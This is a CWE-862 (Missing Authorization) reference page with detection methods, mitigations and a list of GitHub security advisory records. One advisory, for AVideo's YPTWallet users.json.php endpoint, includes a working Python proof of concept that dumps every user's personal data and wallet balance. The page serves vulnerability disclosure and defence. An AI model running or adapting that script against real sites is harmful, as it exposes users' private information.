CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19852 vulnerabilities reference this CWE, most recent first.
GHSA-77GX-3FXF-6GXJ
Vulnerability from github – Published: 2025-04-27 18:30 – Updated: 2025-04-27 18:30A vulnerability was found in iteachyou Dreamer CMS up to 4.1.3. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/attachment/download of the component Attachment Handler. The manipulation of the argument ID leads to improper authorization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-3977"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-27T17:15:15Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in iteachyou Dreamer CMS up to 4.1.3. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/attachment/download of the component Attachment Handler. The manipulation of the argument ID leads to improper authorization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-77gx-3fxf-6gxj",
"modified": "2025-04-27T18:30:24Z",
"published": "2025-04-27T18:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3977"
},
{
"type": "WEB",
"url": "https://gitee.com/iteachyou/dreamer_cms/issues/IC13O1"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.306313"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.306313"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.557639"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-77GX-VCJ4-HF9V
Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2026-04-01 18:35Missing Authorization vulnerability in sergiotrinity Trinity Audio allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Trinity Audio: from n/a through 5.20.0.
{
"affected": [],
"aliases": [
"CVE-2025-49272"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-06T13:15:43Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in sergiotrinity Trinity Audio allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Trinity Audio: from n/a through 5.20.0.",
"id": "GHSA-77gx-vcj4-hf9v",
"modified": "2026-04-01T18:35:22Z",
"published": "2025-06-06T15:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49272"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/trinity-audio/vulnerability/wordpress-trinity-audio-5-20-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-77HC-XCGC-5HPC
Vulnerability from github – Published: 2023-12-04 03:30 – Updated: 2023-12-07 00:30In wifi service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed
{
"affected": [],
"aliases": [
"CVE-2023-42685"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-04T01:15:09Z",
"severity": "HIGH"
},
"details": "In wifi service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed",
"id": "GHSA-77hc-xcgc-5hpc",
"modified": "2023-12-07T00:30:37Z",
"published": "2023-12-04T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42685"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1731138365803266049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-77HG-RFPF-5GHC
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31Missing authorization in Ivanti Connect Secure before 22.7R2.9 or 22.8R2, Ivanti Policy Secure before 22.7R1.6, Ivanti ZTA Gateway before 2.8R2.3-723 and Ivanti Neurons for Secure Access before 22.8R1.4 (Fix deployed on 02-Aug-2025) allows a remote authenticated attacker with read-only admin privileges to configure authentication related settings.
{
"affected": [],
"aliases": [
"CVE-2025-55142"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T16:15:34Z",
"severity": "HIGH"
},
"details": "Missing authorization in Ivanti Connect Secure before 22.7R2.9 or 22.8R2, Ivanti Policy Secure before 22.7R1.6, Ivanti ZTA Gateway before 2.8R2.3-723 and Ivanti Neurons for Secure Access before 22.8R1.4 (Fix deployed on 02-Aug-2025) allows a remote authenticated attacker with read-only admin privileges to configure authentication related settings.",
"id": "GHSA-77hg-rfpf-5ghc",
"modified": "2025-09-09T18:31:18Z",
"published": "2025-09-09T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55142"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/September-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-and-Neurons-for-Secure-Access-Multiple-CVEs?language=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-77HV-2363-J2HJ
Vulnerability from github – Published: 2026-10-21 06:31 – Updated: 2026-10-21 12:31The Booking Package WordPress plugin before 1.7.31 does not perform any authorization or validity check before resetting its premium subscription state, allowing unauthenticated attackers to disable the Booking Package WordPress plugin before 1.7.31's paid features.
{
"affected": [],
"aliases": [
"CVE-2026-105998"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-21T06:16:46Z",
"severity": "MODERATE"
},
"details": "The Booking Package WordPress plugin before 1.7.31 does not perform any authorization or validity check before resetting its premium subscription state, allowing unauthenticated attackers to disable the Booking Package WordPress plugin before 1.7.31\u0027s paid features.",
"id": "GHSA-77hv-2363-j2hj",
"modified": "2026-10-21T12:31:04Z",
"published": "2026-10-21T06:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105998"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/feb9d9bd-7192-4c75-9dc4-43d925518dc1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-77JP-MGCW-RFMR
Vulnerability from github – Published: 2026-03-31 23:21 – Updated: 2026-03-31 23:21Severity: High CWE: CWE-862 (Missing Authorization)
Summary
The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.
Details
The authorization check at plugin/YPTWallet/view/users.json.php:8:
if (!User::isLogged()) {
die("Is not logged");
}
The query in YPTWallet::getAllUsers() selects all columns from both tables:
$sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u "
. " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 ";
The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, analyticsCode, donationLink, and balance.
Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().
Proof of Concept
import requests
TARGET = "https://your-avideo-instance.com"
# Step 1: Login as any regular (non-admin) user
session = requests.Session()
session.post(f"{TARGET}/objects/login.json.php", data={
"user": "regular_user",
"pass": "regular_password"
})
# Step 2: Request the users endpoint
resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={
"current": "1",
"rowCount": "10"
})
data = resp.json()
print(f"Total users: {data['total']}")
for u in data["rows"]:
print(f" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")
The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, balance, analyticsCode, donationLink.
Impact
Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.
Recommended Fix
Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:
// plugin/YPTWallet/view/users.json.php:8
// Before:
if (!User::isLogged()) {
die("Is not logged");
}
// After:
if (!User::isAdmin()) {
die("Is not logged");
}
This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34395"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:21:50Z",
"nvd_published_at": "2026-03-31T21:16:30Z",
"severity": "MODERATE"
},
"details": "**Severity:** High\n**CWE:** CWE-862 (Missing Authorization)\n\n### Summary\n\nThe `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.\n\n### Details\n\nThe authorization check at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\nif (!User::isLogged()) {\n die(\"Is not logged\");\n}\n```\n\nThe query in `YPTWallet::getAllUsers()` selects all columns from both tables:\n\n```php\n$sql = \"SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u \"\n . \" LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 \";\n```\n\nThe `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.\n\nOther endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.\n\n### Proof of Concept\n\n```python\nimport requests\n\nTARGET = \"https://your-avideo-instance.com\"\n\n# Step 1: Login as any regular (non-admin) user\nsession = requests.Session()\nsession.post(f\"{TARGET}/objects/login.json.php\", data={\n \"user\": \"regular_user\",\n \"pass\": \"regular_password\"\n})\n\n# Step 2: Request the users endpoint\nresp = session.post(f\"{TARGET}/plugin/YPTWallet/view/users.json.php\", data={\n \"current\": \"1\",\n \"rowCount\": \"10\"\n})\n\ndata = resp.json()\nprint(f\"Total users: {data[\u0027total\u0027]}\")\nfor u in data[\"rows\"]:\n print(f\" User: {u[\u0027user\u0027]}, Email: {u[\u0027email\u0027]}, Admin: {u[\u0027isAdmin\u0027]}, Balance: {u[\u0027balance\u0027]}\")\n```\n\nThe response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.\n\n### Impact\n\nAny registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.\n\n### Recommended Fix\n\nChange `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\n// plugin/YPTWallet/view/users.json.php:8\n// Before:\nif (!User::isLogged()) {\n die(\"Is not logged\");\n}\n\n// After:\nif (!User::isAdmin()) {\n die(\"Is not logged\");\n}\n```\n\nThis matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).\n\n---\n\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-77jp-mgcw-rfmr",
"modified": "2026-03-31T23:21:50Z",
"published": "2026-03-31T23:21:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-77jp-mgcw-rfmr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34395"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/db37b4e9d9e7c733e5d4c5881e10b2b9d2670983"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php"
}
GHSA-77JV-V8F5-WM86
Vulnerability from github – Published: 2026-07-19 06:30 – Updated: 2026-07-19 06:30A security flaw has been discovered in geex-arts django-jet up to 1.0.8. This impacts an unknown function of the component OAuth Credential Revoke Handler. Performing a manipulation results in missing authorization. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-16215"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-19T05:16:38Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in geex-arts django-jet up to 1.0.8. This impacts an unknown function of the component OAuth Credential Revoke Handler. Performing a manipulation results in missing authorization. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-77jv-v8f5-wm86",
"modified": "2026-07-19T06:30:24Z",
"published": "2026-07-19T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16215"
},
{
"type": "WEB",
"url": "https://github.com/geex-arts/django-jet/issues/528"
},
{
"type": "WEB",
"url": "https://github.com/geex-arts/django-jet"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-16215"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/857946"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380038"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380038/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-77P2-XW8P-439J
Vulnerability from github – Published: 2026-04-01 18:36 – Updated: 2026-04-01 21:30Improper access control in the multi-factor authentication (MFA) management API in Devolutions Server allows an authenticated attacker to delete their own configured MFA factors and reduce account protection to password-only authentication via crafted HTTP requests.
This issue affects Server: from 2026.1.6 through 2026.1.11.
{
"affected": [],
"aliases": [
"CVE-2026-5175"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T16:23:52Z",
"severity": "MODERATE"
},
"details": "Improper access control in the multi-factor authentication (MFA) management API in Devolutions Server allows an authenticated attacker to delete their own configured MFA factors and reduce account protection to password-only authentication via crafted HTTP requests.\u00a0\n\n\n\n\n\n\n\nThis issue affects Server: from 2026.1.6 through 2026.1.11.",
"id": "GHSA-77p2-xw8p-439j",
"modified": "2026-04-01T21:30:29Z",
"published": "2026-04-01T18:36:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5175"
},
{
"type": "WEB",
"url": "https://devolutions.net/security/advisories/DEVO-2026-0010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-77PC-23Q5-7VG9
Vulnerability from github – Published: 2024-12-12 03:33 – Updated: 2025-11-04 00:32An authorization issue was addressed with improved state management. This issue is fixed in macOS Sequoia 15.2, macOS Ventura 13.7.2, macOS Sonoma 14.7.2. An encrypted volume may be accessed by a different user without prompting for the password.
{
"affected": [],
"aliases": [
"CVE-2024-54466"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T02:15:29Z",
"severity": "MODERATE"
},
"details": "An authorization issue was addressed with improved state management. This issue is fixed in macOS Sequoia 15.2, macOS Ventura 13.7.2, macOS Sonoma 14.7.2. An encrypted volume may be accessed by a different user without prompting for the password.",
"id": "GHSA-77pc-23q5-7vg9",
"modified": "2025-11-04T00:32:11Z",
"published": "2024-12-12T03:33:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54466"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121839"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121840"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121842"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Dec/7"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Dec/8"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Dec/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-77PH-2WW9-VQ43
Vulnerability from github – Published: 2023-10-08 06:30 – Updated: 2024-04-04 08:25In FW-PackageManager, there is a possible missing permission check. This could lead to local escalation of privilege with System execution privileges needed
{
"affected": [],
"aliases": [
"CVE-2023-40654"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-08T04:15:57Z",
"severity": "MODERATE"
},
"details": "In FW-PackageManager, there is a possible missing permission check. This could lead to local escalation of privilege with System execution privileges needed",
"id": "GHSA-77ph-2ww9-vq43",
"modified": "2024-04-04T08:25:12Z",
"published": "2023-10-08T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40654"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1707266966118531074"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.